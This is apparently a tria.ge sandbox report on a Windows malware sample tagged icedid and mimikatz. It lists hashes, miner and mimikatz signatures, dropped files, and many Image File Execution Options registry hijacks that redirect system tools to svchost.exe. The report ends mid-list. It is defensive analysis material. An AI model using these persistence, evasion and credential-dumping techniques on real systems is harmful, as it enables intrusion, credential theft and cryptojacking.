Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
08/09/2024, 08:28
Behavioral task
behavioral1
Sample
2024-09-08_174c3c0a0c6140688c6335c56ec70d9b_hacktools_icedid_mimikatz.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
2024-09-08_174c3c0a0c6140688c6335c56ec70d9b_hacktools_icedid_mimikatz.exe
Resource
win10v2004-20240802-en
General
-
Target
2024-09-08_174c3c0a0c6140688c6335c56ec70d9b_hacktools_icedid_mimikatz.exe
-
Size
9.2MB
-
MD5
174c3c0a0c6140688c6335c56ec70d9b
-
SHA1
f636779aab77811a0c20a201803c364263885c4d
-
SHA256
6c56bf62a53eb37aa7931ee9b3b01586a72c9737be2b241c837a20aac242a7d3
-
SHA512
37facbf14edd972b494b8b7a04de844ebdb74f21e23846c8af4153b084be8a02694625a0db741279c6e167ac38de18005ba81c5342ae96749ebd8031d753f22b
-
SSDEEP
196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1
Malware Config
Signatures
-
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 1996 created 2116 1996 safngtn.exe 38 -
Contacts a large (15413) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
-
XMRig Miner payload 10 IoCs
resource yara_rule behavioral2/memory/3044-177-0x00007FF7C6E30000-0x00007FF7C6F50000-memory.dmp xmrig behavioral2/memory/3044-181-0x00007FF7C6E30000-0x00007FF7C6F50000-memory.dmp xmrig behavioral2/memory/3044-198-0x00007FF7C6E30000-0x00007FF7C6F50000-memory.dmp xmrig behavioral2/memory/3044-215-0x00007FF7C6E30000-0x00007FF7C6F50000-memory.dmp xmrig behavioral2/memory/3044-224-0x00007FF7C6E30000-0x00007FF7C6F50000-memory.dmp xmrig behavioral2/memory/3044-233-0x00007FF7C6E30000-0x00007FF7C6F50000-memory.dmp xmrig behavioral2/memory/3044-247-0x00007FF7C6E30000-0x00007FF7C6F50000-memory.dmp xmrig behavioral2/memory/3044-254-0x00007FF7C6E30000-0x00007FF7C6F50000-memory.dmp xmrig behavioral2/memory/3044-255-0x00007FF7C6E30000-0x00007FF7C6F50000-memory.dmp xmrig behavioral2/memory/3044-257-0x00007FF7C6E30000-0x00007FF7C6F50000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 5 IoCs
resource yara_rule behavioral2/memory/756-0-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral2/memory/756-4-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral2/files/0x00090000000234dd-6.dat mimikatz behavioral2/memory/3608-8-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral2/memory/4468-137-0x00007FF7F5B30000-0x00007FF7F5C1E000-memory.dmp mimikatz -
Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts safngtn.exe File created C:\Windows\system32\drivers\npf.sys wpcap.exe File created C:\Windows\system32\drivers\etc\hosts safngtn.exe -
Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" safngtn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe safngtn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" safngtn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe safngtn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe safngtn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" safngtn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe safngtn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" safngtn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe safngtn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" safngtn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe safngtn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" safngtn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" safngtn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe safngtn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" safngtn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe safngtn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe safngtn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe safngtn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" safngtn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe safngtn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" safngtn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe safngtn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe safngtn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" safngtn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" safngtn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" safngtn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe safngtn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" safngtn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" safngtn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" safngtn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe safngtn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe safngtn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe safngtn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe safngtn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe safngtn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" safngtn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe safngtn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" safngtn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" safngtn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" safngtn.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 2720 netsh.exe 1872 netsh.exe -
Executes dropped EXE 29 IoCs
pid Process 3608 safngtn.exe 1996 safngtn.exe 2532 wpcap.exe 3064 gvuuacina.exe 4468 vfshost.exe 1048 umetuuign.exe 2584 xohudmc.exe 756 ascsso.exe 3044 vgimut.exe 448 umetuuign.exe 3972 umetuuign.exe 4376 umetuuign.exe 4556 umetuuign.exe 3300 umetuuign.exe 1708 umetuuign.exe 4356 umetuuign.exe 1180 umetuuign.exe 4448 safngtn.exe 3068 umetuuign.exe 2708 umetuuign.exe 1248 umetuuign.exe 3840 umetuuign.exe 1364 umetuuign.exe 64 umetuuign.exe 1548 umetuuign.exe 116 umetuuign.exe 3364 umetuuign.exe 2684 vittzpklj.exe 5164 safngtn.exe -
Loads dropped DLL 12 IoCs
pid Process 2532 wpcap.exe 2532 wpcap.exe 2532 wpcap.exe 2532 wpcap.exe 2532 wpcap.exe 2532 wpcap.exe 2532 wpcap.exe 2532 wpcap.exe 2532 wpcap.exe 3064 gvuuacina.exe 3064 gvuuacina.exe 3064 gvuuacina.exe -
resource yara_rule behavioral2/memory/4468-136-0x00007FF7F5B30000-0x00007FF7F5C1E000-memory.dmp upx behavioral2/files/0x0007000000023530-135.dat upx behavioral2/memory/4468-137-0x00007FF7F5B30000-0x00007FF7F5C1E000-memory.dmp upx behavioral2/files/0x000700000002353b-140.dat upx behavioral2/memory/1048-142-0x00007FF7F5E80000-0x00007FF7F5EDB000-memory.dmp upx behavioral2/memory/1048-159-0x00007FF7F5E80000-0x00007FF7F5EDB000-memory.dmp upx behavioral2/files/0x0007000000023538-162.dat upx behavioral2/memory/3044-164-0x00007FF7C6E30000-0x00007FF7C6F50000-memory.dmp upx behavioral2/memory/448-170-0x00007FF7F5E80000-0x00007FF7F5EDB000-memory.dmp upx behavioral2/memory/3972-174-0x00007FF7F5E80000-0x00007FF7F5EDB000-memory.dmp upx behavioral2/memory/3044-177-0x00007FF7C6E30000-0x00007FF7C6F50000-memory.dmp upx behavioral2/memory/4376-179-0x00007FF7F5E80000-0x00007FF7F5EDB000-memory.dmp upx behavioral2/memory/3044-181-0x00007FF7C6E30000-0x00007FF7C6F50000-memory.dmp upx behavioral2/memory/4556-184-0x00007FF7F5E80000-0x00007FF7F5EDB000-memory.dmp upx behavioral2/memory/3300-188-0x00007FF7F5E80000-0x00007FF7F5EDB000-memory.dmp upx behavioral2/memory/1708-192-0x00007FF7F5E80000-0x00007FF7F5EDB000-memory.dmp upx behavioral2/memory/4356-196-0x00007FF7F5E80000-0x00007FF7F5EDB000-memory.dmp upx behavioral2/memory/3044-198-0x00007FF7C6E30000-0x00007FF7C6F50000-memory.dmp upx behavioral2/memory/1180-201-0x00007FF7F5E80000-0x00007FF7F5EDB000-memory.dmp upx behavioral2/memory/3068-209-0x00007FF7F5E80000-0x00007FF7F5EDB000-memory.dmp upx behavioral2/memory/2708-213-0x00007FF7F5E80000-0x00007FF7F5EDB000-memory.dmp upx behavioral2/memory/3044-215-0x00007FF7C6E30000-0x00007FF7C6F50000-memory.dmp upx behavioral2/memory/1248-218-0x00007FF7F5E80000-0x00007FF7F5EDB000-memory.dmp upx behavioral2/memory/3840-222-0x00007FF7F5E80000-0x00007FF7F5EDB000-memory.dmp upx behavioral2/memory/3044-224-0x00007FF7C6E30000-0x00007FF7C6F50000-memory.dmp upx behavioral2/memory/1364-227-0x00007FF7F5E80000-0x00007FF7F5EDB000-memory.dmp upx behavioral2/memory/64-230-0x00007FF7F5E80000-0x00007FF7F5EDB000-memory.dmp upx behavioral2/memory/1548-232-0x00007FF7F5E80000-0x00007FF7F5EDB000-memory.dmp upx behavioral2/memory/3044-233-0x00007FF7C6E30000-0x00007FF7C6F50000-memory.dmp upx behavioral2/memory/116-235-0x00007FF7F5E80000-0x00007FF7F5EDB000-memory.dmp upx behavioral2/memory/3364-237-0x00007FF7F5E80000-0x00007FF7F5EDB000-memory.dmp upx behavioral2/memory/3044-247-0x00007FF7C6E30000-0x00007FF7C6F50000-memory.dmp upx behavioral2/memory/3044-254-0x00007FF7C6E30000-0x00007FF7C6F50000-memory.dmp upx behavioral2/memory/3044-255-0x00007FF7C6E30000-0x00007FF7C6F50000-memory.dmp upx behavioral2/memory/3044-257-0x00007FF7C6E30000-0x00007FF7C6F50000-memory.dmp upx -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 78 ifconfig.me 79 ifconfig.me -
Creates a Windows Service
-
Drops file in System32 directory 18 IoCs
description ioc Process File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE safngtn.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File created C:\Windows\SysWOW64\ascsso.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\ascsso.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 safngtn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies safngtn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 safngtn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DDAB91A53CE5876D153BF0B6B3BA7DCE safngtn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache safngtn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content safngtn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DDAB91A53CE5876D153BF0B6B3BA7DCE safngtn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft safngtn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData safngtn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 safngtn.exe -
Drops file in Program Files directory 3 IoCs
description ioc Process File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe -
Drops file in Windows directory 60 IoCs
description ioc Process File created C:\Windows\tgskbltgt\UnattendGC\specials\posh-0.dll safngtn.exe File opened for modification C:\Windows\lvtrlpnz\svschost.xml safngtn.exe File opened for modification C:\Windows\lvtrlpnz\safngtn.exe 2024-09-08_174c3c0a0c6140688c6335c56ec70d9b_hacktools_icedid_mimikatz.exe File opened for modification C:\Windows\tgskbltgt\kmildiyui\Packet.dll safngtn.exe File created C:\Windows\tgskbltgt\kmildiyui\wpcap.dll safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\specials\libeay32.dll safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\spoolsrv.xml safngtn.exe File opened for modification C:\Windows\lvtrlpnz\vimpcsvc.xml safngtn.exe File created C:\Windows\tgskbltgt\upbdrjv\swrpwe.exe safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\specials\ssleay32.dll safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\specials\tucl-1.dll safngtn.exe File created C:\Windows\tgskbltgt\kmildiyui\scan.bat safngtn.exe File created C:\Windows\tgskbltgt\kmildiyui\vittzpklj.exe safngtn.exe File created C:\Windows\lvtrlpnz\vimpcsvc.xml safngtn.exe File opened for modification C:\Windows\lvtrlpnz\docmicfg.xml safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\AppCapture32.dll safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\svschost.xml safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\specials\zlib1.dll safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\specials\schoedcl.exe safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\vimpcsvc.xml safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\specials\spoolsrv.exe safngtn.exe File created C:\Windows\tgskbltgt\Corporate\mimilib.dll safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\specials\coli-0.dll safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\specials\trch-1.dll safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\specials\trfo-2.dll safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\specials\ucl.dll safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\specials\exma-1.dll safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\Shellcode.ini safngtn.exe File created C:\Windows\tgskbltgt\kmildiyui\Packet.dll safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\specials\docmicfg.xml safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\AppCapture64.dll safngtn.exe File created C:\Windows\ime\safngtn.exe safngtn.exe File opened for modification C:\Windows\lvtrlpnz\spoolsrv.xml safngtn.exe File opened for modification C:\Windows\tgskbltgt\Corporate\log.txt cmd.exe File created C:\Windows\lvtrlpnz\safngtn.exe 2024-09-08_174c3c0a0c6140688c6335c56ec70d9b_hacktools_icedid_mimikatz.exe File created C:\Windows\tgskbltgt\UnattendGC\specials\spoolsrv.xml safngtn.exe File opened for modification C:\Windows\lvtrlpnz\schoedcl.xml safngtn.exe File created C:\Windows\tgskbltgt\Corporate\vfshost.exe safngtn.exe File opened for modification C:\Windows\tgskbltgt\kmildiyui\Result.txt vittzpklj.exe File created C:\Windows\lvtrlpnz\spoolsrv.xml safngtn.exe File created C:\Windows\lvtrlpnz\schoedcl.xml safngtn.exe File created C:\Windows\tgskbltgt\kmildiyui\wpcap.exe safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\specials\crli-0.dll safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\specials\svschost.exe safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\specials\svschost.xml safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\specials\libxml2.dll safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\specials\xdvl-0.dll safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\docmicfg.xml safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\schoedcl.xml safngtn.exe File created C:\Windows\lvtrlpnz\svschost.xml safngtn.exe File created C:\Windows\tgskbltgt\Corporate\mimidrv.sys safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\specials\cnli-1.dll safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\specials\docmicfg.exe safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\specials\vimpcsvc.xml safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\specials\schoedcl.xml safngtn.exe File created C:\Windows\tgskbltgt\kmildiyui\ip.txt safngtn.exe File created C:\Windows\tgskbltgt\kmildiyui\gvuuacina.exe safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\specials\tibe-2.dll safngtn.exe File created C:\Windows\tgskbltgt\UnattendGC\specials\vimpcsvc.exe safngtn.exe File created C:\Windows\lvtrlpnz\docmicfg.xml safngtn.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 840 sc.exe 4568 sc.exe 4900 sc.exe 832 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe -
System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language safngtn.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 2024-09-08_174c3c0a0c6140688c6335c56ec70d9b_hacktools_icedid_mimikatz.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened 